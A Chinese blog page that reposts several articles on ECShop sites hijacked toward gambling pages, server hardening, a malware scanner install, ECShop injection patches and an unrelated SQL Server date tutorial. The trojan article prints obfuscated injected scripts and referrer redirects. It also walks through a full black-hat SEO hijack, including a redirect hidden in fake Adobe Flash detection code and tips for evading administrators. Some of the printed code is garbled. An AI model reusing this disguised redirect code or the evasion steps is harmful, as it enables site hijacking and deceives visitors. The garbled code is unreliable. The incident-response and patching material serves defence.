ecshop首页被篡改为博彩站,网站被黑怎么处理? 宝塔linux下ecshop 和WordPress的安全防护-木木资源博

mikel阅读(878)

来源: ecshop首页被篡改为博彩站,网站被黑怎么处理? 宝塔linux下ecshop 和WordPress的安全防护-木木资源博

最近收到几个博友的求助,Ecshop网站被博彩网站篡改,跳转到博彩网站,现象如下:

站长直接输入网址打开网站,网站不跳转,网站的TITLE貌似很正常;但是通过搜索引擎搜索关键词进入网站,网站会自动跳转到博彩站。自己辛辛苦苦通过SEO技术获取的流量,被博彩站劫持,造成了大量财产损失,降低了用户体验度,甚至直接被搜索引擎K掉!
这也提醒了站长们:没事搜一搜自己的站点,别通过网址直接进入,黑客会通过js欺骗手段,降低站长发现几率,提高自己的“存活率”

这确实是一个令人头疼的问题,网站被攻击,被篡改主页甚至被恶意删除源码让很多中小站长恐慌,是谁在攻击自己?如何攻击的?该如何防御?由于技术限制让很多草根站长束手无策,那么网站被黑,应该如何处理呢?

一、博主用的是宝塔linux面板,那我们就从宝塔面板的安全防护开始说起:

 

1、为你的宝塔面板绑定一个复杂的三级域名,并修改宝塔默认端口 比如 bt.XX.XXXX.com:33521

2、为你的宝塔面板设置一个复杂的登录账号和密码,包含大小写和特殊符号,(主要是为了防止黑客通过MD5解密,获取你的账号和密码),如果你不懂,跟着我设置就可以了,如果感兴趣可以百度去了解。

3、因为很少用,关闭你的SSH,如果你经常用到,需要修改SSH端口;修改你的FTP端口,不要默认的21.

4、禁止ping,防止黑客嗅探你的服务器IP

5、建议安装宝塔的付费插件 nginx或者apache防火墙,虽然拦截率不会100%,针对一些“草根黑客”还是挺有效的。

6、建议安装 云锁巡查,一单网页被篡改,被渗透你可以第一时间查找,删除。您可以参考西部数码:http://faq.myhostadmin.net/faq/listagent.asp?unid=2093 安装云锁进行防护

7、mySQL数据库默认端口3306,改为61116,并加入到端口安全策略,不对外开放,外网IP无法连接数据库,只有本地127.0.0.1才能进行连接数据库,以防止攻击者恶意猜测。

8、留好你的网站日志,不要当个强迫症,随时清理!(后面讲重要性)

宝塔面板安全配置示意图

宝塔面板安全配置示意图

经过以上操作,你的宝塔面板相对是很安全的,如果大家有什么需要补充的,可以在下方继续留言……

 

二、问题出在Ecshop上,我们聊聊Ecshop的安全防护

Echsop近几年爆出的安全漏洞非常多,Ecshop cms操作的技术人员,技术水平也参差不齐,再加上Ecshop是一款相对来说比较老的开源商城程序,深入研究这套程序的技术人员也少,相关的技术文档,漏洞补丁修复相对滞后,目前可修复的漏洞《ecshop中毒怎么办?以下补丁你打了吗?关于ecshop中sql注入漏洞修复》参考这篇文章进行修复,除此之外我们可以进行以下操作来进行防御:

1、Ecshop修改后台路径,包括手机端,设置复杂的账号密码,防止黑客通过MD5解密,轻松获取后台密码

2、最好只保留一个后台账号密码,不方便的话,分权的账号密码也要重视,别随便写个“名字+888”,你懂得

3、后台,商店设置-基本设置,附件上传大小,修改为0

4,不要在一些技术论坛或者博客中乱发网址,树大招风

如果你的Ecshop网站漏洞较多,有可能会殃及同台服务器上无漏洞的网站,比如你的站上还有个Wordpress站点……

三、Wordpress网站安全防护设置

1.升级到WordPress最新版

只从WordPress官方下载源码,不要到第三方网站下载。尽可能升级到WordPress最新版,及时修补程序漏洞,包括WordPress核心源码、WordPress主题以及WordPress插件。

 

2.使用官方WordPress主题和插件

这里所说的官方,一是WordPress官方,二是主题或插件开发者的官方,尽量避免使用“破解”版主题、插件,慎用网上传播的原本是收费,但是被人恶意提供免费下载的主题、插件。

 

3.修改数据库默认前缀wp_

很多朋友安装WordPress都没有修改数据库前缀,如果你打算修改默认的前缀wp_,请根据如何修改WordPress数据库前缀来修改。

 

4.修改默认的用户名admin

WordPress3.*以上已经支持安装时自定义登录用户名,如果你使用默认的admin,建议你根据下面的方法进行修改:

方法一:后台新建一个用户,角色为管理员,然后使用新用户登录,删除默认的admin用户。

方法二:登录phpmyAdmin,浏览当前数据库的wp_users数据表,将user_login和user_nicename修改为新用户名。同时建议修改“我的个人资料”中的的昵称,然后设置“公开显示为”非用户名的其他方式:

 

5.使用高级密码,经常更换密码

建议使用含大写字母、小写字母、数字和其他符号的复杂密码,比如nuH4j&*aHG%dMz,避免使用生日、手机号、QQ号等。

 

6.隐藏WordPress版本信息

默认情况下会在头部输出WordPress版本信息,你可以在主题的functions.php最后一个?>前面添加:

//隐藏版本号

7.修改wp-admin目录的访问权限

你可以通过限定IP地址访问WordPress管理员文件夹来进行保护,所有其他IP地址访问都返回禁止访问的信息。另外,你需要放一个新的.htaccess文件到wp-admin目录下,防止根目录下的.htaccess文件被替换。


以上简单的配置都是基于你勤奋的数据备份,及时被黑掉,也可以随时挽救……….

 

四,亡羊补牢,为时未晚:真的被黑了,我该怎么办?

上面讲到,不要乱删网站日志,网站日志是分析网站漏洞和攻击源的组好的工具

网站访问日志是存放于服务器里的一个目录里:

IIS默认是存放于C:/windows/system32/里的子目录下,日记记录了网站的所有访问记录,包括了网站的各种访问信息,访客的信息,比如IP,浏览的网址,访客的浏览器属性,以及访问的方式是以GET POST还是COOKIES,统统的都记录在网站访问日志里。

apache访问日志,主要是存放于apache安装目录下的access.log文件,LOG文件会实时的记录所有的网站访问记录,以及访问者的IP等等信息。就好比我们访问https://www.liulinblog.com的时候,access.log日志就会出现以下记录:


60.58.118.58  -   -  [11 / SEP / 2018061833 +0200]“GET www.liulinblog.com/ HTTP / 1.1200  - ”“Mozilla / 6.0Windows NT 8.0; WOW64; rv33.0 Gecko / 20170911 Firefox / 35.0 

 

我来说一下上面这个访问记录是什么意思吧,记录了一个60.58.118.58 的IP,在2018年9月11日的早晨6点18分访问了www.liulinblog.com网站的首页,并返回了200的状态,200状态就是访问成功的状态。

如果我们没有网站日志文件,那我们根本就不知道谁访问了我们网站,以及他访问了我们网站的那些地址。

 

下面我们讲讲通过网站日志,如何分析我们的网站是如何被黑的,通过哪些页面被黑的:

当我们发现客户网站被攻击后,我们立即暂停了网站,以便于我们进行详细网站安全检测与审计。

我们查找了网站的日志,包含了一个星期的日志文件,下载到我们的本地。

在查询网站如何被攻击前,我们要知道哪些数据是对我们有用的,一般来讲,黑客的入侵痕迹,以及攻击的文件特征,以及攻击语句,包含SQL注入漏洞,XSS跨站攻击,以及后台访问并上传木马等行为特征,从这些方面去入手我们会尽快的查找到黑客的攻击IP、并以此为根据,查找到黑客到底是怎样攻击了客户的网站。

打开我们下载好的日志文件,会看到很多很多日志记录,如果网站访问客户多的话,会有上千,也会有上万,我们来看一下网站的访问日志:

 

通过网站日志分析黑客攻击

通过网站日志分析黑客攻击

检查每一个IP的访问情况,通过查看我们看到了一条有攻击特征的记录,这个记录的网站地址,是很长很长,跟普通的访问差别好大。如下图
通过网站日志分析黑客攻击

通过网站日志分析黑客攻击

从上图可以看出,这个代码是执行了SQL注入语句,并查询了网站的后台管理员账号以及密码,导致被黑客知道密码,然后登陆了后台,并篡改了网站的内容。

 

从上面可以看出,黑客的攻击很有明显性,在前期他会自动扫描一些有问题的文件,并找出来然后再针对性的攻击,在黑客攻击的同时会留下许多入侵攻击的痕迹,我们仔细发现都会找到的,在网站被攻击后,千万不要慌静下心来分析网站的日志,查找攻击证据,并找到漏洞根源,修复网站漏洞。

先聊到这把,有问题欢迎底部留言…………

[分享]利用云锁的一键巡检检测网站挂马

mikel阅读(1201)

站访问跳转到赌博、黄色网站,或者网站访问出现异常广告同时网站内容中出现赌博等信息一般都是网站挂马,

网站被挂马,但是由于很多站长对网站程序一窍,只知道上传网站程序,发布信息,对于这种网站挂马没有任何办法。

今天提供一个针对在服务器上网站被挂马或者黑链的简单处理办法,对应很多不懂网站维护的站长来说是一个比较简单的方法,可以快速定位到挂马文件所在。这个只有利用云锁的一键巡检进行检测,对云锁不会的站长千万不要乱使用云锁,不然权限搞乱了网站就无法访问,小白也只好抱歉无能为力了

一、云锁安装

这个办法是使用云锁,http://www.yunsuo.com.cn/

先查看自己的服务器使用的是什么操作系统,win系统云锁没有分32和64位,Linux系统而言也有32和64位之分

win系统直接下载安装软件到服务去上进行安装就可以了,这个很简单不需要说明,记住不需要设置账号密码,跳过即可。

小白测试使用的是linux服务器64位的,如果是不知道自己系统的位数,可以用查看内核方法,输入

uname -a 或 more /proc/version

在内核版本后面会有一个X86_64就是表示64为系统啦

Linux安装说明:http://help.yunsuo.com.cn/guide/Lin_inst.html

32位:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz && tar xvzf yunsuo_agent_32bit.tar.gz && chmod +x yunsuo_install/install && yunsuo_install/install

64位:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz && tar xvzf yunsuo_agent_64bit.tar.gz && chmod +x yunsuo_install/install && yunsuo_install/install

直接在linux服务器ssh终端中输入命令回车

出现Install Yunsuo Success.说明已经安装成功。

然后使用云锁控制端进行管理,可以使用他们的web端,不过个人比较喜欢下载到本地的客户端单机管理。

二、本地管理云锁

云锁pc客户端下载

1、下载到本地安装,打开运行就是这个界面

由于我们没有设置云平台账号密码,输入服务器的ip地址,和服务器远程登陆账号密码,然后点击一件巡检就可以等他巡检结果了。

由于测试的网站并不大,文件不多所以巡检很快,如果网站文件较大可能时间会长一点。结果出来了。可以很明显到在网站安全检测中查看到可疑外链,如果有常见挂马都会在这类显示出来,

查看一下是不是异常文件或者连接,如果是就删除对应异常文件和连接就可以了。是不是十分简单,同时云锁上面还有其他功能不错,比如后台防护,网页防篡改。

在服务器上站点很多,不想全都都去巡检的情况下,可以在一键巡检中设置只检测那一个网站就可以了。

云锁客户端还有很多功能可以参考http://help.yunsuo.com.cn/guide/PC_inst.html

这个只是简单的利用云锁来查找挂马和清理。最后千万注意,对云锁不熟悉的站长只使用简单的一键巡检就可以了,其他不会不要乱操作,避免网站权限异常网站无法访问。

 

记录一个木马:ecshop TDK被篡改为博彩站/劫持快照/ 劫持全站 自动跳转 黑帽seo技术-木木资源博

mikel阅读(1016)

来源: 记录一个木马:ecshop TDK被篡改为博彩站/劫持快照/ 劫持全站 自动跳转 黑帽seo技术-木木资源博

不得不说,网站安全防护这块博主很鸡肋,此前在网络公司做一些小的企业站也遇到过大大小小的网站安全问题,找到问题根源删除,打打网站补丁一般问题不大,解决的也很顺利;但是这次貌似真的是遇到硬茬了

在中木马前博主做了哪些防护?

启用云加速DNS,隐藏网站真实IP;

修改宝塔linux面板默认端口,账号密码,隐藏端口;

修改网站后台路径,默认账号;

ecshop隔段时间打打补丁(已被黑客高调删除)…….

本博主要为被中招的同学提供点建议和思路,其中包含进攻和反进攻的具体方法,请勿非法使用,使用了别说在本博上学到的,博主不背这个锅!

 

1、木马表现:

1、网站TDK被篡改为博彩站标题,关键词,描述;

2、网站快照被劫持

3、部分源码丢失

 

2、实例说明:

title(标题),keywords(关键词)与description(描述)都被进行编码的

被篡改后的TDK 和 加密js代码

 

3、被编码后篡改TDK:

为了防止所加的内容被管理员发现清除,为了劫持的稳定性,title(标题),keywords(关键词)与description(描述)都进行了编码,标题后面一段加密js代码:

<script>if(if(navigator.userAgent.toLocaleLowerowerCase().indexOf("baidu") == -1){1){document.title ="幼 ="幼儿园家具_幼儿园桌椅批发_儿童小床_XXXXXXX有限公司"}</script>  
 <script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?35?String.fromCharCode(ode(c+29):9):c.toString(36)(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=)p=p.replace(new(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('m["\\e\\c\\1\\l\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\g\\2\\1\\4\\9\\3\\0 \\0\\k\\3\\8\\d\\6\\0\\8\\r\\0\\5\\f\\a\\s\\a\\2\\1\\4\\9\\3\\0\\6 \\2\\4\\1\\d\\6\\o\\0\\0\\3\\2\\p\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\j\\b\\1\\c\\i\\5\\q\\j\\b\\f\\2\\6\\h\\g\\5\\2\\1\\4\\9\\3\\0\\h\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3c|x3e|x6d|x38|x79|x75|window|x6e|x68|x3a|x6b|x78|x76'.split('|'),0,{}))  
 </script>  

感兴趣的同学可以进行解密一下

4、还有一种非编码篡改TDK:

非编码篡改的网站标题,描述

 

后来博主了解到这种编码是Unicode,Unicode在线转换:http://tool.oschina.net/encode 。但是在快照投诉,快照更新没有不编码更新的快。


博主顺道检查了一下手机端,发现手机端自动跳转到博彩站,并返现以下代码:

<script LANGUAGE=\"Javascript\">
var s=document.referrer
if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )
location.href=\"https://www.liulinblog.com\";
</script>

这段代码的作用是判断来路,如果是从搜索引擎进的本站,会自动跳转到指定链接。

 

会造成什么SEO后果?

 

5、快照劫持

快照劫持是指在快照投诉以后,快照更新成功。目标网站上了自己指定的标题,关键词与描述,就算管理员已经发现网站被加入了这些代码,删除之后,从百度进入依然会跳转到指定站,这保证了劫持了稳定性。

网站挂马事隔两天后,当我们去看网站源代码时候,已经没有留下任何黑帽SEO代码,危险代码均被删除,但从百度访问依旧会跳转到目标站点。从而保证了流量进入目标站点的稳定性,这个就是快照劫持。

如何解决?

快照投诉 http://tousu.baidu.com/webmaster/add

6、全站劫持

所谓的全站劫持,就是让目标站点所有文章都加入黑帽SEO代码,这个要靠经验,笔者曾经在一个朋友曾经开的Discuz站被全站劫持过,site之后所有内容都是菠菜相关的,笔者发现source/class/class_core.php中被加入黑帽SEO代码,而所有文章查看源代码均发现有黑帽seo代码,这个class_core.php文件控制全站的头部,所以整站被劫持了。黑帽seo主要靠经验,方法都是死的。

7、完整的黑帽SEO流程

博主推导出过程后,开始尝试,首先为了隐藏,选择从外部引入js代码,因为在导入js文件到某个文件夹的时候,文件夹会显示最近更新时间,会被管理员发现。可以随便选择一个稳定的空间做外链,例如阿里云Eos,七牛云等等。

在站点head标题中插入以下黑帽seo引擎劫持代码

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="目标站的标题"}</script>  //目标站原本的标题,直接输入网址进入网站标题才不会变,也是为了隐藏
<title>你要做的标题</title>
<meta name="keywords" content="你要做的词"/>
<meta name="description" content="你要做的描述"/>
<script language="javascript" type="text/javascript" src="/这边是你的跳转代码/flash.js" ></script>  //SEO跳转代码

为了防止被管理员发现,标题,关键词与描述最好用Unicode编码一下,Unicode在线转换:http://tool.oschina.net/encode  关键词之间用逗号隔开。

博主为了更好的隐藏,对跳转代码进行了加工,命名为flash.js

<!--
//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2008 Adobe Systems Incorporated. All rights reserved.
var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
function ControlVersion()
{
var version;
	var axo;
	var e;
	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}
	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";
			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";
			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}
	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}
// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}
// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1];
		var versionRevision   = versionArray[2];
        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
		if (versionMajor > parseFloat(reqMajorVer)) {
			return true;
		} else if (versionMajor == parseFloat(reqMajorVer)) {
			if (versionMinor > parseFloat(reqMinorVer))
				return true;
			else if (versionMinor == parseFloat(reqMinorVer)) {
				if (versionRevision >= parseFloat(reqRevision))
					return true;
			}
		}
		return false;
	}
}
function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}
function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
  var str = '';
  if (isIE && isWin && !isOpera)
  {
    str += '<object '; for (var i in objAttrs) { str += i + '="' + objAttrs[i] + '" '; } str += '>';    for (var i in params)    {      str += ' ';    }    str += '';
  }
  else
  {
    str += '<embed '; for (var i in embedAttrs) { str += i + '="' + embedAttrs[i] + '" '; } str += '> ';
  }
  document.write(str);
}
function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}
function AC_SW_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
     , null
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}
function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    
    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblclick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}
// --> var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
var sogou=ref.indexOf("sogou");
var s360=ref.indexOf("360.cn");
var s3602=ref.indexOf("so.com");
var sbing=ref.indexOf("bing.cn");
if(baidu!=-1 || soso!=-1 || google!=-1 || sogou!=-1 || s360!=-1 || s3602!=-1 || sbing!=-1){

 this_url = 'https://www.liulinblog.com';
  window.top.location.replace(this_url);
  window.location.href=this_url;
} 

前面的很长一大段人畜无害的代码没有任何卵用,只要用来混淆视线。最后的几段才是seo代码。把链接改成要跳转的站就行。

接着提交百度快照投诉,百度快照投诉入口进行快照投诉:http://tousu.baidu.com/webmaster/add

随后就是耐心的等待。

如何根除和清理此类木马?

我们先分析一下黑客行为:

标题,关键词,描述被Unicode编码更容易隐藏,但是快照投诉后更新会很慢。

跳转代码不直接写在一个页面里,也不导入到站点文件夹(文件夹最近更新时间会泄露你的文件位置)。跳转代码的js文件外联引用>>>>不容易被发现

site一下自己的网站,看看是否被全站劫持


好吧,我们来解决一下这个站(https://www.sdhoupu.com)的木马问题,博主是用的一套 ecshop小京东源码,二次开发的一个站点,经博主连夜分析结果如下:

ECSHOP 小京东源码后门文件

 

/supplier/includes/exchange.php

 

ecshop小京东后门文件(一)

/mobile/lequ.php

ecshop小京东后门文件(二)

/mobile/lian.php

ecshop小京东后门文件

/mobile/cm.php

ecshop小京东后门文件(4)

/mobile/admin/images/charts/comon.php

ecshop小京东后门文件(5)

/js/calendar/calendar.php

ecshop小京东后门文件(6)

/errpage/css/style.php

ecshop小京东后门文件(8)

/app/includes/modules/payment/key/public_key.php

ecshop小京东后门文件(9)

/admin_sdhoupu/alipay.php

ecshop小京东后门文件

/ueditor/php/upload/image/20171118/1510983269553259.php

ecshop小京东后门文件

/lian.php

ecshop小京东后门文件

/languages/zh_cn/calendar.php

ecshop小京东后门文件

 

 


以上为总结和检测出来的后门文件,删除清理即可!

删除清理后,迅速为网站打补丁《ecshop中毒怎么办?以下补丁你打了吗?关于ecshop中sql注入漏洞修复》,网站安全无小事,否则可能造成你前期一起工作前功尽弃

服务器内部您可以参考西部数码:http://faq.myhostadmin.net/faq/listagent.asp?unid=2093 安装云锁进行防护

先这么着把!回家睡觉了….

ECshop小京东 – 阿里云盾提示ECshop高危漏洞修复(2017-08-11)-木木资源博

mikel阅读(945)

来源: ECshop小京东 – 阿里云盾提示ECshop高危漏洞修复(2017-08-11)-木木资源博

1.ecshop后台SQL注入漏洞 /admin/comment_manage.php 336-337行

    $filter['sort_by']      = empty($_REQUEST['sort_by']) ? 'add_time' : trim($_REQUEST['sort_by']);
    $filter['sort_order']   = empty($_REQUEST['sort_order']) ? 'DESC' : trim($_REQUEST['sort_order']);

修改为

$filter['sort_by']      = empty($_REQUEST['sort_by']) ? 'add_time' : trim(htmlspecialchars($_REQUEST['sort_by']));
    $filter['sort_order']   = empty($_REQUEST['sort_order']) ? 'DESC' : trim(htmlspecialchars($_REQUEST['sort_order']));

2.ecshop代码注入漏洞 /admin/edit_languages.php 120行

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';

修改为:

$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';

3.ecshop后台getshell /admin/integrate.php 109行

$code = empty($_GET['code']) ? '' : trim($_GET['code']);

修改为

$code = empty($_GET['code']) ? '' : trim(addslashes($_GET['code']));

 

4.ecshop SQL注入漏洞 /admin/affiliate_ck.php
a./admin/affiliate_ck.php 282行
b./mobile/admin/affiliate_ck.php 307行

$sqladd = ' AND a.user_id=' . $_GET['auid'];

改为

$sqladd = ' AND a.user_id=' . intval($_GET['auid']);

5.ecshop注入漏洞 /includes/modules/payment/alipay.php
a./includes/modules/payment/alipay.php 183行
b./mobile/includes/modules/payment/alipay.php 216行
c./app/includes/modules/payment/alipay.php 173行

$order_sn = trim($order_sn);

改为

$order_sn = trim(addslashes($order_sn));

6.ecshop SQL注入漏洞 /admin/shopinfo.php
a./admin/shopinfo.php
b./mobile/admin/shopinfo.php
c.53、71、105、123行,4个地方修复方式都一样

admin_priv('shopinfo_manage');

改为

admin_priv('shopinfo_manage');
$_REQUEST['id'] = intval($_REQUEST['id']);

7.ecshop注入漏洞 /api/client/includes/lib_api.php
a./api/client/includes/lib_api.php 245行
b./mobile/api/client/includes/lib_api.php 246行

function API_UserLogin($post)
    {
        if (get_magic_quotes_gpc()) {
            $post['UserId'] = $post['UserId'];
        }else{
            $post['UserId'] = addslashes($post['UserId']);
        }
        $post['username'] = isset($post['UserId']) ? trim($post['UserId']) : '';
        $post['password'] = isset($post['Password']) ? strtolower(trim($post['Password'])) : '';

        /[i] 检查密码是否正确 [/i]/
        $sql = "SELECT user_id, user_name, password, action_list, last_login".
        " FROM " . $GLOBALS['ecs']->table('admin_user') .
        " WHERE user_name = '" . htmlspecialchars($post['username']). "'";

        $row = $GLOBALS['db']->getRow($sql);
if (get_magic_quotes_gpc()) {
    $post['UserId'] = $post['UserId'];
}else{
    $post['UserId'] = addslashes($post['UserId']);
}
" WHERE user_name = '" . htmlspecialchars($post['username']). "'";

8.ecshop SQL注入漏洞 /admin/shophelp.php
a./admin/shophelp.php
b./mobile/admin/shophelp.php
c.81、105、133、155行,4个地方修复方式都一样

admin_priv('shopinfo_manage');

改为

admin_priv('shopinfo_manage');
$_REQUEST['id'] = intval($_REQUEST['id']);

9.ecshop注入漏洞 /category.php 65行

$brand = isset($_REQUEST['brand']) && $_REQUEST['brand'] > 0 ? $_REQUEST['brand'] : 0;

改为

$brand = isset($_REQUEST['brand']) && intval($_REQUEST['brand']) > 0 ? intval($_REQUEST['brand']) : 0;

10.ecshop SQL注入漏洞导致代码执行

$arr['id'] = intval($arr['id']);
$arr['num'] = intval($arr['num']);
$arr['type'] = addslashes($arr['type']);

SQL Server CONVERT() 函数 - nicesoft - 博客园

mikel阅读(1119)

来源: SQL Server CONVERT() 函数 – nicesoft – 博客园

定义和用法

CONVERT() 函数是把日期转换为新数据类型的通用函数。

CONVERT() 函数可以用不同的格式显示日期/时间数据。

语法

CONVERT(data_type(length),data_to_be_converted,style)

data_type(length) 规定目标数据类型(带有可选的长度)。data_to_be_converted 含有需要转换的值。style 规定日期/时间的输出格式。

可以使用的 style 值:

Style ID Style 格式
100 或者 0 mon dd yyyy hh:miAM (或者 PM)
101 mm/dd/yy
102 yy.mm.dd
103 dd/mm/yy
104 dd.mm.yy
105 dd-mm-yy
106 dd mon yy
107 Mon dd, yy
108 hh:mm:ss
109 或者 9 mon dd yyyy hh:mi:ss:mmmAM(或者 PM)
110 mm-dd-yy
111 yy/mm/dd
112 yymmdd
113 或者 13 dd mon yyyy hh:mm:ss:mmm(24h)
114 hh:mi:ss:mmm(24h)
120 或者 20 yyyy-mm-dd hh:mi:ss(24h)
121 或者 21 yyyy-mm-dd hh:mi:ss.mmm(24h)
126 yyyy-mm-ddThh:mm:ss.mmm(没有空格)
130 dd mon yyyy hh:mi:ss:mmmAM
131 dd/mm/yy hh:mi:ss:mmmAM

实例

下面的脚本使用 CONVERT() 函数来显示不同的格式。我们将使用 GETDATE() 函数来获得当前的日期/时间:

CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110) 
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)

结果类似:

Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635

SQL Server Date 函数

1、日期格式化处理

DECLARE @dt datetime
SET @dt=GETDATE()

–1.短日期格式:yyyy-m-d
